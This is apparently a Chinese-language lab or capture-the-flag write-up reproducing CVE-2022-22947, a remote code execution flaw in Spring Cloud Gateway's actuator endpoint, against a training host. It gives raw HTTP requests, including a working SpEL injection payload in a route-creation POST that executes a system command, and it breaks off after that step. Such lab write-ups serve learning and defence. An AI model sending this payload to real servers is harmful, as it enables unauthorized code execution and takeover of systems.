CVE-2022-22947

漏洞描述

Spring Cloud Gateway 远程代码执行漏洞（CVE-2022-22947）发生在Spring Cloud Gateway应用程序的Actuator端点，其在启用、公开和不安全的情况下容易受到代码注入的攻击。攻击者可通过该漏洞恶意创建允许在远程主机上执行任意远程执行的请求。

影响

远程代码执行 (RCE): 攻击者可能利用此漏洞在服务器上执行任意代码，从而完全控制系统。
未经身份验证的攻击: 此漏洞可以被未经身份验证的攻击者利用，这使其特别危险

受影响的版本

Spring Cloud Gateway: 受影响的版本为 3.1.0 至 3.1.1 和 3.0.0 至 3.0.6。

漏洞复现

因为该漏洞是在使用Spring Colud Gateway的应用程序开启、暴露Gateway Actuator端点时，会容易造成代码注入攻击，攻击者可以制造恶意请求，在远程主机进行任意远程执行

所以先访问Actuator端点，以此确认端点是开启的

GET /actuator HTTP/1.1
Host: eci-2ze594a01k0gwmasvx7p.cloudeci1.ichunqiu.com:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1716519775,1716987190,1717169952,1717415458; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1717415458
Upgrade-Insecure-Requests: 1
Priority: u=1

HTTP/1.1 200 OK
Date: Mon, 03 Jun 2024 12:14:56 GMT
Content-Type: application/vnd.spring-boot.actuator.v3+json
Content-Length: 2675
Connection: close{"_links":{"self":{"href":"http://eci-2ze594a01k0gwmasvx7p.cloudeci1.ichunqiu.com/actuator","templated":false},"beans":{"href":"http://eci-2ze594a01k0gwmasvx7p.cloudeci1.ichunqiu.com/actuator/beans","templated":false},"caches-cache":{"href":"http://eci-2ze594a01k0gwmasvx7p.cloudeci1.ichunqiu.com/actuator/caches/{cache}","templated":true},"caches":{"href":"http://eci-2ze594a01k0gwmasvx7p.cloudeci1.ichunqiu.com/actuator/caches","templated":false},"health-path":{"href":"http://eci-2ze594a01k0gwmasvx7p.cloudeci1.ichunqiu.com/actuator/health/{*path}","templated":true},"health":{"href":"http://eci-2ze594a01k0gwmasvx7p.cloudeci1.ichunqiu.com/actuator/health","templated":false},"info":{"href":"http://eci-2ze594a01k0gwmasvx7p.cloudeci1.ichunqiu.com/actuator/info","templated":false},"conditions":{"href":"http://eci-2ze594a01k0gwmasvx7p.cloudeci1.ichunqiu.com/actuator/conditions","templated":false},"configprops-prefix":{"href":"http://eci-2ze594a01k0gwmasvx7p.cloudeci1.ichunqiu.com/actuator/configprops/{prefix}","templated":true},"configprops":{"href":"http://eci-2ze594a01k0gwmasvx7p.cloudeci1.ichunqiu.com/actuator/configprops","templated":false},"env-toMatch":{"href":"http://eci-2ze594a01k0gwmasvx7p.cloudeci1.ichunqiu.com/actuator/env/{toMatch}","templated":true},"env":{"href":"http://eci-2ze594a01k0gwmasvx7p.cloudeci1.ichunqiu.com/actuator/env","templated":false},"loggers-name":{"href":"http://eci-2ze594a01k0gwmasvx7p.cloudeci1.ichunqiu.com/actuator/loggers/{name}","templated":true},"loggers":{"href":"http://eci-2ze594a01k0gwmasvx7p.cloudeci1.ichunqiu.com/actuator/loggers","templated":false},"heapdump":{"href":"http://eci-2ze594a01k0gwmasvx7p.cloudeci1.ichunqiu.com/actuator/heapdump","templated":false},"threaddump":{"href":"http://eci-2ze594a01k0gwmasvx7p.cloudeci1.ichunqiu.com/actuator/threaddump","templated":false},"metrics":{"href":"http://eci-2ze594a01k0gwmasvx7p.cloudeci1.ichunqiu.com/actuator/metrics","templated":false},"metrics-requiredMetricName":{"href":"http://eci-2ze594a01k0gwmasvx7p.cloudeci1.ichunqiu.com/actuator/metrics/{requiredMetricName}","templated":true},"scheduledtasks":{"href":"http://eci-2ze594a01k0gwmasvx7p.cloudeci1.ichunqiu.com/actuator/scheduledtasks","templated":false},"mappings":{"href":"http://eci-2ze594a01k0gwmasvx7p.cloudeci1.ichunqiu.com/actuator/mappings","templated":false},"refresh":{"href":"http://eci-2ze594a01k0gwmasvx7p.cloudeci1.ichunqiu.com/actuator/refresh","templated":false},"features":{"href":"http://eci-2ze594a01k0gwmasvx7p.cloudeci1.ichunqiu.com/actuator/features","templated":false},"gateway":{"href":"http://eci-2ze594a01k0gwmasvx7p.cloudeci1.ichunqiu.com/actuator/gateway","templated":false}}}

响应了地址信息，返回json页面

既然返回了一堆地址，是不是可以访问一下，在/actuator/env中，就能直接找到flag

还是完整复现一下漏洞，通过添加路由，刷新路由，查询路由来执行命令

接上一步返回的地址信息之后

模拟攻击

构造Actuator操作Gateway接口列表

{
"id": "----自定义一个路由id--------",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "--------此处构造spEL-------------"
}
}],
"uri": "http://localhost:8088------随意写个地址",
"predicates": ["Path=/aaa/**--------随意写个匹配规则"]
}

以下添加的路由id是text

开始POST actuator/gateway/routes/test,添加路由

构造post传参的包

POST /actuator/gateway/routes/test HTTP/1.1
Host: eci-2ze00p71m3sozhtnx51z.cloudeci1.ichunqiu.com:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/json
Content-Length: 331{"id": "test","filters": [{"name": "AddResponseHeader","args": {"name": "Result","value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"}}],"uri": "http://example.com"
}